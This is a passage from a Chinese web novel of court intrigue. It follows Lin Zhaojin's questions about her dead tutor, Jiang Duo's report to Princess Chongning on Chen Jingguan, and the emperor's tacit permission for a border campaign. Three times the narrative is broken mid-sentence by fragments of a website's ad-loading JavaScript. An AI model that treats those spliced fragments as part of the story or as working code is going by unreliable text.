澄州比平州更靠北,感觉离天也更近了,可他还是喜欢平州的天,没了屋檐的遮蔽,看得人心里敞亮。 “他打算与我合作,但我仍有顾虑。” 对于江阮的身份,陈京观润色了些许都讲给陆栖野。 其实以陆家如今的地位,陆晁不会不知道江阮这等人物的存在,他们能放任其在长宁街开铺子,如若不是觉得其不足为患,就是在等着他露出马脚。 “他的条件是什么?” 陆栖野一边端着那杯热茶暖手,一边看着陈京观。 “他没说,但是我觉得应当是我给得起,但是会斟酌的。” 陆栖野明了的点了点头,还没等他说话,陈京观便朝他一笑。 “放心,平远军我给不起,那些命都是他们自己的。我答应你的,一定会做到。只以平远为矛,不以平远为盾。” 陆栖野也对上陈京观的笑,只是他摇摇头。 “你不会,我知道。但我也希望,他要的不是你硬撑到现在的那根脊梁。” 陈京观没说话,低着头在思索着陆栖野的话。 他是长大了,三年的昌安营,给他教会的不只是一身与人相拼的力气,还有昌安军魂,还有他父亲引以为傲的陆家根骨。 “你小子,受得起陆家马场。” 陈京观说完,便转身要去自己的卧房收拾行李。 他还是想早些回去的。如今的风吹在身上冷嗖嗖的,即使披着陆栖野的褂子,也消磨不掉他从小长在南边的习性。 而他身后的陆栖野脸上本来还挂着些许得意,片刻后又起身追了出去。 “下次,带着笑来,要真心的那种。” “知道啦!” 16. 何须隐瞒(一) 陈京观离开澄州时地上的积雪尚未消融,他行至途中,越靠近雍州,便越能看到春日的初景。 那日他离开后,第二日陆栖野就将那袋饴糖交给了林朝槿,可不知为何,林朝槿只是收了起来,托陆栖野给陈京观道谢,没有再说什么。 等到初九林朝槿回门,她临走时带上了那袋饴糖。 林家的墓园在澄州东南方向,处在平州与凌州的交界。清早陆栖川就套好了马,天微亮时便与林朝槿一人一马动身了。 一路上林朝槿都沉默着,陆栖川时不时侧身看她,她也只是回之以微笑。陆栖川察觉得出此事与陈京观有关,他在等林朝槿愿意开口的时候。 “先生,我以为你临走时也如我一般有许多话要说,可直到最后,你却未对我留下只言片语。” 陆栖川看着跪在地上的林朝槿,她今日一身白衣,未着粉黛,简单纨了发髻,几日的低迷让她看上去更清瘦,在北地的风雪里摇摇欲坠。 林朝槿有些木讷地往火堆里丢纸钱,窜起来火光在她脸上摇曳。 “离鸿与我说那日陈公子去了林府。” 林朝槿微微点头,手里的纸钱已经都被火舌吞没,她盯着最后的黄纸化为灰烬,打算起身,陆栖川上手将她扶住。 “先生最后的愿望,去请陈京观。” 陆栖川盯着墓碑上的名字,为了不引人注目,何须的墓穴选在了林家墓园的边角,一片桃林的背后,朝远望,能看到屹立的敬安山。 “先生怎会知道他?” 林朝槿没有说话,拍了拍身上的灰,在陆栖川的搀扶下朝马匹走去。 “我也不知,我觉得他瞒了我许多。” 林朝槿说着,从怀里拿出那袋饴糖,陆栖川盯着看了许久,没有任何头绪。 “栖野前日给我的,说是陈公子送我的贺礼,可他的贺礼早就托董将军送到了林府。这袋饴糖,”林朝槿顿了一下,“我至今还没打开过。我等着今日,与你、与父亲一起。” 林朝槿重新将那包饴糖收好,接过了陆栖川递来的披肩,她本要上马,却被陆栖川拦住。 眼前的人不知何时在路旁折了梅花,一路的颠簸下还有几朵仍娇艳欲滴,陆栖川选了一朵开得最好的,别在了林朝槿的发髻上。 “你今日打扮得素雅,又刚红了眼,如今用梅花装点一下,免得林相担心。” 林朝槿轻轻点头,临上马前又用手抚了抚头上的梅花。 自己与陆栖川,其实早就形似一个人了。 而此时的林府,那日的喜字还留在窗棂上,与门口的福交相辉映。 梅椿早就算好了日子,一大早就吩咐厨房准备林朝槿爱吃的饭菜,林均许早朝回来一路上婉拒了好几个要来登门的学生,也在家候着这对新婚小夫妻。 就连林家两个小的,都一改平日吵吵嚷嚷的习性,跟着母亲在家里忙东忙西。 “娘,您说姐姐出嫁时开心吗?” 林家二女儿林含晚跟着梅椿,手里抱着母亲刚从铺子里买来的料子。 这冬日还没过去,可春日里的布料已经上新,梅椿早起去选了两身,一身青黛一身粉红,想着找裁缝赶工给林朝槿做两身去平州穿。 “怎么这么问?” 梅椿一边走一边侧过来看着林含晚,边说着边拍了林含章一把,示意他去帮林含晚拿东西。 “姐姐那日一直在哭,我很少见到姐姐哭。” 林含晚小嘴嘟囔着,声音越说越小。梅椿闻言愣了一下,但很快又恢复如常,她站定在女儿面前,捏了捏她的脸。 “有时候哭,不一定意味着不开心,有时候哭,也不一定就是在哭自己。” 林含晚没有太懂母亲的话,但是她还是乖乖地点头表明自己记下了。 倒是旁边的林含章,嘴里还吃着街上买的果子,有些不解地问母亲:“那姐姐是哭谁?” 梅椿没有回答,她此刻抬头,正好能看到林家祠堂里那块刻着“梅樾”的排位。 “夫人,大小姐和陆小将军回来了。” 门口报信的小厮朝堂内喊了一声,然后跑出门去迎接刚下马的二人。 陆栖川给岳丈家送的东西早在昨日就备好了,但是他为了早起与林朝槿去墓园,便让家里的随从卡着点来送,如今他前脚刚进门,后脚陆家的人就将东西抬了进来。 林朝槿侧身看了看陆栖川,陆栖川没说话,捏了捏她的手。 “女婿拜见岳母。” 陆栖川见梅椿走过来,弯腰对着来人行礼,林朝槿也随着跪了下去。 “起来吧,起来吧,你父亲在书房等着呢,你们去书房与他说话,我去盯着厨房,等下就开饭。” 梅椿屈身将二人扶起,她看着眼前的林朝槿,她自然明白这个她拉扯大的孩子。林朝槿从小就心思重,那日本是她的大喜,可她终究是含着泪上的花轿。 “等下多吃些,有你喜欢的清蒸鱼和糖醋里脊。” 林朝槿点了点头,脸上浅浅勾起一抹笑,她感觉到了握着她的手力度大了些,眼前的人眼睛有些湿润了。 “母亲,”林朝槿的话还没说完,就听到书房传来一声:“你们俩进来吧”。 梅椿伸手拍了拍林朝槿的肩,对着她笑了笑,领着两个小孩子去了厨房,而林朝槿看着书房的位置,有些发愣。 “走吧,把你想知道的都问个清楚。” 陆栖川用手轻轻握了握林朝槿的腰,为她紧了紧身上的披风,先她一步推开了书房的门。 “岳父。” 陆栖川跪在了林均许面前,而林朝槿却有些执拗地站在他的身侧。 “还在生气?” 林均许也没恼,有些无奈地摇了摇头,伸手将陆栖川扶起来,又给两人倒了茶,示意他们坐下来说话。 “你那日出了外院的门便问我陈京观是谁,随后又问我何须到底瞒了你什么,以你那日的情绪,我若再与你多说一句,你还能出嫁吗?” 林均许盯着自己手边的茶杯,看着蒸腾的热气模糊了他眼前林朝槿的表情。 “对于陈京观,我对他的了解或许还比不上栖川,至于何须,我倒能与你说说。” 少时的林均许是敬安山一个渔民家的儿子,他本来是打算等着成年就去入伍的,可偶然一天捕鱼时遇到了被毒虫咬伤的苏扬。林均许跑遍了整座山去给他找草药,苏扬得救后就收下了这个徒弟,将他带到了南魏。 也是在那里,他认识陈频,并且与梅樾两心相悦。 梅樾是苏晋收过的唯一一个女徒弟,按照林均许的话来讲,若她是男子,这北梁的相位就未必是他的了。 跟在苏扬身旁十五年,林均许既是徒弟也是侍从,所以对于这个师父,他其实比陈频了解得更深。 “当时北梁意欲进攻东亭,我不方便直接与陈频联系,便叫人快马加鞭送了一份信给苏扬,让他告知陈频多加小心,明哲保身即可。但是后来的事,你们也都知道了。” 陈频联合苏晋与蒋铎在朝堂上正面交锋,他这一举动,在所有人的意料之外。 关于父亲说的故事,有一部分林朝槿在苏扬那里听到过,可同一件事从两个人口中说出来,林朝槿还是察觉到了细微的差别。 “父亲是说,您的手书上是让陈叔叔明哲保身?” 林朝槿反问着,而林均许像是想到了什么,起身回到自己的书桌旁,将压在锁在柜子里几份信递给了林朝槿。 “这是那时的信,他怕授人以柄,所以他来北梁时都带了回来。怎么,他与你说的,与我不同?” 林朝槿没有回答,而是继续翻那些信。 那封信上,林均许向苏扬严明了北梁的的政治立场,建议陈频退避三舍,不要在东亭的问题上与崇宁争执,明哲保身,同时尽可能避免南魏参与北梁的战争。 “先生与我说的,是你说让陈叔叔务必说服南魏皇帝不可参战。” 闻言,林均许先是一愣,随后竟有些嘲讽地笑了,他深吸一口气,但喉咙却好像被堵住了一般。 “他果然还是那般自以为是。他与她,还真是不死不休。” 一直坐在一旁默不作声的陆栖川从林朝槿手里接过了信,他对于当时的事情也有耳闻。 他记得父亲听闻陈频的死讯,连连道“可惜”,随后一个人出去朝着雍州的方向敬了一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 杯酒。 “我看您信上提到小心崇宁?此事与崇宁有关?” 林均许点点头,望着门外的雪景半晌才开口。 “其实陈频的死,与苏扬脱不开干系,他知道崇宁迟早会要了陈频的命。陈频表面是在与蒋铎对抗,可实际上二人都是棋子,执棋的,自始至终都是崇宁和苏扬。只是陈频用命,走出了苏扬意料外的一步。” “那崇宁为何要与苏扬争?他们之间,甚至没有什么联系。” 陆栖川有些疑惑,但他的问句只换来林均许长久的沉默。 是啊,他们为何要争,他们又在争什么,甚至不惜用一条条人命做赌注。 林均许在陈频死后无数次梦到少时陈频写下的那首诗,无数次回忆起两人在敬安山一边烤着火,一边说着要天下大同。 他也没想到最后一次见面,是陈频升任户部侍郎后宴请同门,如今,已是十六年有余。 “我只知道,在我跟着苏扬之前,他是崇明殿的常客,可后来他的妻子死了,他也再未踏入崇明殿半步。” 苏扬的妻子,一个苏扬还未扬名时便跟随他的女子,后来苏扬名扬万里,而她的姓名,却少有人知道。直到苏府挂了白帘,上面写着“苏曹氏”,至此,关于她的一生便草草结尾。 “您是说,或许与萧霖有关?” 林朝槿重新将那些信叠好,将它们放在了林均许的手上,那些纸页已有年岁,早已泛黄,而且看得出被人翻看过许多次,但是爱惜得很好。 “不一定。对于萧霖这个人,我们没人真的能看透他。最初人们认为陈频是苏扬引荐的,萧霖自然就成了陈频的靠山,可陈频并不想要站队,他是孤臣。非要说他选择了谁,那他选择的应该是天下百姓。”林均许说到这,脸上的笑越来越苦涩,“而萧霖是知道陈频的秉性的,相比于两个下棋的人,他更像是一个观棋的,这盘棋谁赢都可以,他只想着他们彼此消耗。” 提起自己这位师兄,林均许脸上只剩下悲悯和怜惜,他傲人的才华与令人唏嘘的下场,不知道寒了多少读书人的心。 “不过若按你说的,我倒是有些明了。”林均许侧过脸看着女儿,“我觉得陈频之所以在最后脱开了苏扬的控制,是因为有一步他不得不走,他权衡了所有,最后用自己破了那盘棋局。而知道他必死,苏扬也便逃了。” 说到这,林均许倒有些想发笑。他无法想象当时的陈频是如何想到了这一招,用自毁的方式逼着二人停下了无谓的斗争,也是自那时起,南魏内部出现了短暂的统一,这才让南魏又奄奄一息的活了这么久。 林均许的话超出了林朝槿猜测过的所有原因,对于她的这位先生,虽只是短短七八年的相伴,可她已然能察觉得到他的危险。 他的手上没沾过血,却握着许多条人命。 像是突然想起了什么,林朝槿将怀里的饴糖拿了出来,她示意林均许打开,而后者也有些犹豫。 “这是?” “陈京观给的,说是给我的贺礼。” 林均许微微皱眉,盯着桌上的饴糖看了许久,最后小心翼翼打开了那个包裹。里面除了饴糖再无其他,就连饴糖看起来也与寻常的没有不同。 就在这时,门外传来梅椿的声音,呼喊着叫他们去吃饭。 “他是何用意?” 林朝槿看着那包饴糖,没有得到想要的答案,不免有些失望,但是与父亲说了许久,也让她明白了何须的意图。 其实最后什么话也没留下,便是言明了一切。 从此有关何须的一切,林朝槿都要如同探索母亲的过去般自己去查,而得到的信息无论好与坏,他都全盘接受。 “你们先去吃饭吧,我收拾一下就去。” 林均许转身作势要去放那一叠信,等着陆林二人走后,又楞楞地站在桌子旁。他看着桌上的饴糖,有些恍惚,他拿起一颗放进嘴里,突然笑出了声。 那饴糖带着黄粱米的香味,可南魏的人多食麦芽糖,而北梁的饴糖大多是用高粱米做的。 这世上除了自己,也就陈家那小子和林朝槿喜欢这带着一点涩味的饴糖。 “好久不见啊,景豫。” 17. 何须隐瞒(二) 陈京观行至盛州时,已经到了三月。 再见到当时自己亲手挖出来的小孩,他倒有些感慨。 他为广梁三州都修了义校,里面不止教书,也教手艺,他明白对于寻常百姓来说,能吃得上饭才是最重要的。 不知是不是老天觉得愧对了广梁的百姓,今年的的春天来得很早,带来了春雨和阳光,路两边的黄粱米长势喜人,不出两个月,便又是大丰收。 短短一年时间,这片土地上已经看不出曾经被洪水肆虐过的痕迹,春和景明之际,万物复生。 陈京观沿路没敢多耽搁,他从澄州走得急,甚至没来得及绕到雍州去看一眼,从陆家出发时,便将一封信送到了雍州。 他留了董辉在雍州练兵,督促平远军守着南魏与西芥的边境线,让平海与平芜到盛州接应自己。 他虽然与萧霖告了假,可是年关已过,再不去复职就当真坐实了那句拥兵自重。 时至今日再走这些路,他身上已不是当初的粗布马褂,江秀特意为他选了料子做了长袍,墨绿缎子上修着仙鹤的纹样,但他依旧散着发,还是一股边境商人的味道。 “少将军,家那边董将军都安排好了,平远军一日三班,从敬安山为起点一直巡视到参州边界。雍州演武场也基本完工,弟兄们惯用长刀,我们便请了最好的师傅给他们换了装备。你去澄州的那些时日,又来了不少参军的,我们都调查了背景,有些年岁尚小的,我们送去了书院,如今书院那边席英在管。” 平家兄弟三日前就在盛州官驿等着陈京观了,为了第一时间看到陈京观,他们总是天微明就等在门口。 如今刚见到陈京观,平海便将路上反复念叨了好几遍的话一口气说给了他。 “你就别叫我少将军了,继续叫师兄吧。” 陈京观拍了拍平海的肩膀,他自从任了平远军的统领,每日闲杂的事情便越来越多,原本不喜欢说话的他被逼着到处去交际,不过他做事也越发妥帖。 “我私下里叫您师兄,平日里还是叫少将军吧,免得惹人口舌。” 平海微微低眸,领了陈京观的好意,而后者转头便看到了昏昏欲睡的平芜,他存心使坏,一把拍在了平芜的马上。 “怎么了!能吃饭了?” 平芜猛地一抬头,跟着受惊的马一起冲了出去,那马一个劲儿地跑,平芜就拼命拉着缰绳。 陈京观不在的日子里,平芜每日跟着哥哥去训练,在演武场时董辉教过他与席英如何御马。他虽不如席英灵活,但是胜在胆子大。现如今他拉着马头,两腿紧紧贴着马身子,平海本想去帮忙,但是陈京观摇了摇头,示意他等等。 那马是平芜从小养着的,性子也像他,虽然顽皮却也有眼色,看着骑在自己身上的平芜岿然不动,那马也就安稳下来了,平芜骑着它兜了一圈,又回到了官驿门口。 “好小子,没几日的功夫,这骑马的本事增进了不少。” 陈京观拍了拍平芜的头,将自己沿路买来的糖糕扔给了平芜,平芜笑着,一边吃一边说:“都是董将军的功劳,他在演武场教我的都是实打实的本事。不过要真论长进,我还是比不上席英。” 平芜提起席英,语气里尽是佩服。 陈京观看着眼前的小孩。翻过了年,他也十五了,感觉过去一年,他真的长大了不少,若放在以前,纵是要夸席英,也多要带上几句赌气的玩笑。 “对了,你刚说给弟兄们打了刀,那席英呢,我记得她是用剑的。” 平海点了点头,从马褡子拿出一块形似护身符的东西递给陈京观。 “怎么能忘了她,专门找了以前的师傅,按照旧制打了一把专属于她的。这是她前些日去庙里求的,说她不能随你去阙州,便给你请了护身符。” 陈京观握着那块玉,手感温润,光泽透亮,上面穿着一根红绳,还用彩线编了花纹。 他没有再多说什么,将玉佩戴在了胸前,那块玉碰到自己的时候,一片冰凉。 “走吧,我们赶在四月前到阙州。” 与此同时,就在陈京观一路朝着阙州行进的路上,一人骑着快马抄小路将密函递到了蒋府,随后一架马车从府院后门走出。 不到半刻,蒋铎就出现在了崇宁的住所,威岚坊。 “他快入朝了吧。” 蒋铎熟门熟路由威岚坊的奴才引到了内室,遣了自己的仆人先回家去。虽然前朝大臣不得入后宫,但是蒋铎,是长公主的例外。 他听闻崇宁的话,轻轻点头,示意周围的下人先退下,然后从袖袋里拿出一封密函,里面详细的记录了陈京观从廊州入境后的每日行踪。 “算日子,在清明前后。” 崇宁没有说话,从榻上起身。虽说崇宁已过青春,但是风韵犹存,她如今赤脚走在毯子上,纤细的双腿一步一步朝蒋铎走过来。 威岚坊里的暖炉是以前东亭进贡的,最适宜初春时燃银碳,如今燃了香,热气一蒸,倒让人有些发晕。 “你说,就一个雍州马队的小子,怎么能一时间号令万人?” 崇宁身上的脂粉气扑在蒋铎的脸上,而后者没动,眼神却有些飘忽。 “他手里的人是北梁的?” 蒋铎轻轻点头,鼻息间混合着的香气,让他不禁咽了咽唾沫。而崇宁自然是观察到了蒋铎的表情变化,她眉毛轻挑,眼神含笑,从窗外吹进来的风让她的衣裙一下一下的拍打着蒋铎的手。 “背景都干净?” 面对崇宁的逼逼紧逼,蒋铎的脸上早已升起潮红,他点着头缓缓朝后退了一步,崇宁没说什么,但嘴角却挂了一丝嘲讽。 “看样子我真的老了,”崇宁说完这句,顿了一下,转身敛了敛披风,继续说:“手底下突然冒出来这么一支队伍,竟然直到他打到阙州我才知道。” 闻言,蒋铎便跪倒在了崇宁的脚边,他低着头,身上的鸟禽纹样也似受了惊,跟着他颤抖。 “你手底下,看来是要换一批人了。有些人占着位子却不做事,你觉得我能容他吗?” 蒋铎听得出崇宁的言外之意,可是他无话可说。 对于陈京观的消息,他不比萧霖早知道多少。可就算那人只带了一千人来阙州,他也应当知道,但他的耳目,竟没有收到一点消息。 他原本觉得陈京观不过是趁势而起的地方豪强,可他不为钱财也不为权力,只是用自己的私兵解了广梁水患,带人来阙州城门口逛了一圈,留下了一个名字,其他的一切都是未知的。 蒋铎不是没有探查过陈京观的底细,但他的经历与许多经历过战争的广梁孤儿一样,从小生活在雍州,西芥打进边城的时候父母双亡,被人牙子捡了给了口饭,随后卖到了昌用商行的马队,哪怕细查昌用商行和人牙子,也都不过是平日里做生意的。 那日在崇明殿前初见陈京观,蒋铎对他有一种说不上来的感觉。他故意不给陈京观好脸色,想要给他个下马威,但后者对此毫不在乎。 而后陈京观受封定远将军的消息传遍了南魏,他惊讶于他居然只是要了一个从三品的官,甚至是一个没有实权的名号。 但陈京观又不似没脾气的,他行事乖张,更像是随心所为。萧霖新年时请了陈京观,可是他只让人来传了口信,便一个人去了澄州赴陆林两家的婚宴。 至于陈京观与陆家是怎么认识的,蒋铎很容易就能知道,可陆二作为一个无实权的小少爷,上头还有哥哥等着袭爵,他浑身上下估计就那块陆府的牌子最值钱。 可就是因为陈京观的经历太干净了,蒋铎总觉得此人不该如此简单。 “蒋铎,”崇宁转身回到了榻上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,倚着靠背,脖子微微后仰,“你觉不觉得,他和某人很像。” 崇宁的话不是问句。蒋铎保持着跪姿,但是眼中闪过一丝狠戾。 “那日臣亲自带人去的陈府,最后一把火烧得什么也没剩下。放火时我已经让人围住了整个陈府,而且最后敛尸时找到了陈景豫的尸体,那枚玉佩您看过,就是先皇后给的。” 蒋铎应着崇宁的话,但他自己心中也有疑虑。 当日自己看到的,是一具面目全非的骸骨,只凭那枚玉佩,自己也不敢断定。可后来自己为了保险,连同孟府也烧了,依旧没有找到陈京观的影子,倒是孟府那两个小孩,被卖到了廊州。 “孟家那两个,你还能找到吗?” 崇宁的语气很平,听不出什么情绪,她一边说着一边伸手去够桌上的葡萄,蒋铎连忙将果盘端在了手上。 “那个小子还没到廊州就染了病,可惜了一副好皮囊。押送的人说是扔到了江边了,走的时候已经没气了。孟家的姑娘倒是还在,”蒋铎顿了一下,“现如今成了那个一票难求的泯川头牌,霜栽。” 崇宁听了蒋铎的话,微微直起身,她将葡萄籽吐在了蒋铎的手上,又往前探身贴近了眼前人的鬓角。 “你的人?” 蒋铎本来刚直起来的腰又弯了下去,连忙道“不是”,他手里还握着崇宁刚吐出来葡萄籽,如今丢也不是拿也不是。 “之前的人办事不力,我都处理了。手下新来了个探子,平日里喜欢去那些烟花柳巷,他有日喝醉了说起他在泯川画舫花重金远远看了那霜栽一眼,瞧见她后勃颈处纹了一支鸢尾花。他说得起劲,但我却想起那日人牙子走时用鞭子抽在了孟家女儿的脊背上,位置,该就是纹了花样的地方。后来我去找了泯川楼的妈妈,霜栽的来历完全对得上。” 崇宁没有作声,她的眉眼生得很好看,微挑的眼尾处用黛粉勾勒,遮住了岁月的痕迹,添上了几分妩媚。她用手拍了拍蒋铎的肩膀,示意他起来说话。 “是不是你的人都无所谓,我信你。不过既然不是你的人,那更好,我想着你用起来,也就不会生出些莫名其妙的恻隐之心。” 崇宁轻轻抬眼,望着眼前的人眼神里充满玩味。蒋铎自然是听出了崇宁语气里的敲打之意,他点着头,应了一声。 “越是像陈京观这般没有背景的,越是深不可测,且不论他是不是会与你我作对,爬到你现在的位置,你在朝中的势力已然是根深蒂固。但是也要记得,树大招风。” 蒋铎谦卑地点着头,言辞恳切地说道:“臣有今日,全仰仗殿下的提点,伯乐之恩,时刻铭记。” 崇宁挑眉,嘴角的笑慢慢溢了出来。 “你今日,怎么如此怕我?怕不是做了什么对不起我的事?” 崇宁打趣着,而蒋铎只是低着头,没有应她。 “你觉得今日的香,好闻吗?” 蒋铎看着眼前的人又将香盒里的粉末倒了些在暖炉里,他不知是自己真的有些热了,还是因为心里有些怕,贴身的里衣早就被汗濡湿。他手里还拿着那几枚葡萄籽,因为紧张,他握得很用力,不知不觉已经将它们嵌在了手心里。 “你那日在宣威坊处死的,可是我新提拔上来的护卫郎中,你不打算给我个解释吗?” 蒋铎深吸了一口气,他知道崇宁一定会借题发挥,其实那个侍卫的死是必然的,他也只是替崇宁做了。但是后面几日他推脱了好几次崇宁的邀约,若不是今日的消息紧急,他应该会找个更合适的时机再来。 “殿下,要怎么罚?” 听了蒋铎的话,崇宁放声大笑,她将头上的簪子拔了下来随手丢在了榻上,那一头乌发虽染了几分霜白,却依旧光华夺目,她停在蒋铎面前,微微俯身。 “霖州送来的葡萄很甜,尝尝?” 18. 何须隐瞒(三) 四月,阙州满街的杨柳飞絮濛濛,萧霖定了四月初五去早春狩猎,崇明殿里便忙忙碌碌地收拾着。几位被选上随驾的嫔妃争相斗艳,纷纷派人去叫司衣局赶制春衣。 只有宸妃一个人告了身体抱恙,同时留下了大皇子侍疾。 四月初四,在萧霖出发的前一天,陈京观带着平家兄弟到了阙州。而与他们一同踏进阙州城的,还有从崇州来的一辆马车。 他们前后脚进了崇明殿,一个去了正殿,一个去了威岚坊。 “你来的时候正好,我明日要去崇州狩猎,你有兴趣一起吗?” 天气好了,萧霖也看起来不似冬日一般阴郁,他坐在正殿的椅子上,一点一点擦拭自己的短剑,望见陈京观来了,只是抬头受了他的礼。 “不了,我连日奔波赶回来复命,皇上容我休息几日吧。” 这次陈京观依旧是一个人进来的,他让平海跟着同他们一起进宫的马车,又让平芜去找可以安顿的宅子。 他现如今再进到这宫殿里,心情却未比那日轻快多少。 萧霖没有再强求什么,他摆了摆手让陈京观走过来。等着眼前的人走近了,他便将手里的剑对着射进来的阳光,剑身反射出来的光线若有若无的扫过陈京观的脸。 “我让司舍局给你选的宅院你不喜欢?” “皇上选的,自然是好的,但是我在天子脚下住不惯。况且,我应该不会常来殿中,城郊选一处院子就好了。“ 陈京观偏了偏头,因为被那光晃了眼睛,稍稍低下头。而萧霖达到了目的,满脸笑意,他将手里的剑收回鞘中,起身走到了陈京观面前。 “你问我要的,我都给你了,可你真正要的是什么?” 陈京观顿了一下,抬头对上了萧霖的眼睛。 其实他还未仔细看过眼前的人,上次在崇明殿里拔刀相向,虽然萧霖依旧是记忆里的形貌,可行止间已经能看出年岁给他留下的力不从心。 见陈京观没有要答的意思,萧霖轻笑道:“你这人还真有意思。” 陈京观微微屈身,将自己的长袍向身后撩了撩,他答应过萧霖会尽到臣子礼数,他说到做到。 “想必皇上的耳目还清亮吧,我收到的消息,您也势必收到了。” 萧霖没有想到陈京观上来便如此直白,他望了陈京观一眼,缓缓走到了自己的书桌旁,而后者没有理会他的行动,继续说道:“参、槐两州的边城近日来多被遏佐的游击骑兵打扰,西芥内部恪多与遏佐的矛盾也愈演愈烈,您这几日去崇州狩猎,是有什么打算?” 陈京观在盛州城外见到平海时,便同时收到了董将军托平海递来的信。 年初,西芥的探子就向昌用商行在西芥的中转站递了口信,说是岭扬江的水有向南分流的趋势,言语间道明了恪多意欲收拾在腾里沙漠割据一方的遏佐。陈京观在澄州时回了信,让他们注意遏佐的动向。 果不其然,二月的风雪刚消融,参州一座边城小村落就在一夜间被洗劫一空。当地官府派人去查,传出来的消息只是说遇到了匪患。可明眼人都看得出,以腾里沙漠的地势,参州再想查也跨不进边界线,不如假托遇匪的借口,避免民众惶恐。 只是这样的事情并非偶然。随后整个三月,参、槐两州靠近国境的村子几经遭袭,来的人都是趁夜色突袭,在天光未明之时便全身而退。这两座州府的府衙派了守军去巡视,但是边境线之长,完全不是一千守军可以看顾过来的。 陈京观在手书中写明了让董辉调兵协助两州府衙巡视的命令,同时让在西芥的探子调查西芥内部的情况。 昨日,就在他们离阙州城还有七八里时,雍州的驿卒递来了消息。 如今恪多已逾六十,西芥大首领的位置他本意是要传给他的儿子忽兰,可是遏佐不服。 当初恪多继位就是通过兹察占卜得出的所谓“天命”,如今若是直接放任恪多传位给忽兰,那他遏佐一部将永无翻身之日。 于是遏佐在恪多六十大寿后就开始极力宣扬要重启旧时决议的方式,让首领的继承人选都参与部落的比武大会和百民选举,最后两项优胜者当选。 若只是说决议,恪多自然是信任自己的儿子的,可是遏佐的用心他怎会不知道。当初他借长子都木之死为自己的小儿子宛达要了西芥最好的封地,这一次比武,他又提议将地点选在了克尔茶湖边。 克尔茶湖,腾里沙漠里唯一的淡水湖,素有“沙漠之眼”的称号,只是那里的春季沙尘肆虐,白日里也伸手不见五指,在这种地方要想在比赛场上做手脚,轻而易举。 恪多对于遏佐的手段一目了然。他这位弟弟,想要的是直接统一西芥。 这一场比武若是输了,忽兰必死无疑,而自己刚满十七岁的小女儿,也将会成为遏佐的池中之物。 至于遏佐对南魏的挑衅,也正是想要让南魏起兵,到时候恪多作为大首领,心思大多要集中在如何解决外患,而自己的兵就可以趁乱北上。 两手准备,目的皆在将恪多斩草除根。 而这样的消息陈京观可以查到,萧霖也势必有所知悉。虽说天下人皆道萧霖不过是崇宁扶上位的傀儡,可是陈京观上次见他,从他的语气中,能听出父亲评价他的“此人多有不甘心”。 况且他能将定远将军的位置给自己,陈京观明白,他是想要让自己破局的。 “我出宫的消息散出去了,皇城守军也多要随我一起走。参、槐二州你的人马已经埋伏下了,你应当知道我想要做什么。” 萧霖把玩着桌上的笔台,将已经干涸的砚池滴了水,里面的墨色缓缓晕开。 陈京观勾起一抹笑。他这位只见过几面姨父倒是很会铺路,他明日一离开阙州,陈京观无论做什么都可以以天高路远为由先斩后奏。 萧霖是要让他出兵西芥,至于他到西芥做什么,他说了算。 “那皇上对于此事的结局有何想法?” 萧霖微微低着头,可陈京观还是看到了他脸上的笑意,他拿起了桌上的笔,示意陈京观过来磨墨,随后在纸上写下“如你所愿”。 “这幅字送给你了,”萧霖将那薄薄一张纸卷起来放进了匣子,递给陈京观,“你不想说的,只要与我无害,你都可以不告诉我。你想做的,只要与我有益,你都可以做。” 闻言,陈京观接着匣子的手一怔,他微微抬眸看了看眼前的人,萧霖的表情没什么变化,他将笔重新放在笔台上,向后一仰坐在了椅子上。 “陈京观,”萧霖的语气很平淡,“哪日你想与我心平气和的说话时,我奉陪。” 不知为何,听到萧霖的这番话,陈京观呼吸一滞。 萧霖,他原本以为的害死父亲的真凶,可后来知道蒋铎才是,再后来,发现蒋铎背后还有崇宁。 如今萧霖前面挡着的人越多,他就越难以看清萧霖真正的面目,手里这把时刻悬在萧霖头上的剑也就久久不落。 当时的事情,自己可能才窥到几分。 至于父亲为何一反常态大闹朝廷,萧霖为何对一切默不作声,蒋铎的手上到底还沾了多少血,崇宁又是怎样的角色,他什么都不知道。 陈京观在初入阙州前的认识在被一点点打破,他现在要重新审视这些人,同时也要重新问一问父亲。 “恕我无礼,我有事想问问您。” 陈京观礼数做的很周到,摆了袖子屈了膝,蹲下时刻意矮了萧霖一截。萧霖缓缓抬头,示意他继续说。 “若我没有出现,那皇上要如何应对这些问题?” 闻言,萧霖轻笑道:“你是想说,我坐在这位子上,从来都不是靠自己是吗?” 陈京观没有答话,依旧低着头。萧霖没有恼,只是偏过头望着四方窗里透出来的天空。 “如若我说,只有我什么也不做才能保证这南魏继续平和地维持呢?”萧霖嗓音低了几度,陈京观听出了他很少在人前露出的落寞,“就拿广梁水患来说,我不救广梁,广梁便不能活吗?等着大水漫过,活下来的人依旧会守着他们还留存的土地。其实若没有你横插一脚,他们依旧会在丰收后将粮食送进阙州城,他们弯了一辈子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的腰直不起来。” 萧霖的话没错,陈京观从席英那里就能知道。 人们习惯于屈服于权威,久而久之,也就忘记了自己还有脊梁。 “至于这次遏佐来犯,我们都明白西芥的目的,所以我只需要选一个我认为能赢的阵营,出兵或不出兵,我都不会有多大损失。即使我赌输了,一个刚经历内战的国家,又怎么能来与我打?” 陈京观听着萧霖的话,眉头微微皱起。 萧霖是埋着头的鸵鸟,可他依旧有锋利的喙能咬人,依旧能清楚感知到周围的声音,他默不作声了一辈子,也让他就这样安然无虞地过了一辈子。 “可百姓的命,你全然不在乎吗?” 半晌,陈京观才开口,他的声音很轻,但是他的话一直回荡在书房里。 “若我说,我也不一定比他们好过呢?我与他们是一样的处境,沉默,是不一定会死,可叫嚣,是一定会亡。” 萧霖说这话的时候陈京观抬头望着他,他依旧还是在看着窗外。 四月的阙州上空已经有各种鸟雀的争鸣,可是崇明殿的天上,永远是一片寂静。 “所以你当日来阙州时,我心里倒期望着你能长剑一挥直指宫门,可是你没有,你居然想要来找我谈。其实吧,”萧霖转头对上了陈京观的眼睛,“你那日要什么我都能给你,因为这一切,都不是我的。” 萧霖的话里陈京观听出了几分自嘲,他望着眼前人已经斑白的头发,从他的眼睛里全然看不出他的所思所想。 陈京观其实想要继续问下去,可是他觉得没有意义了。 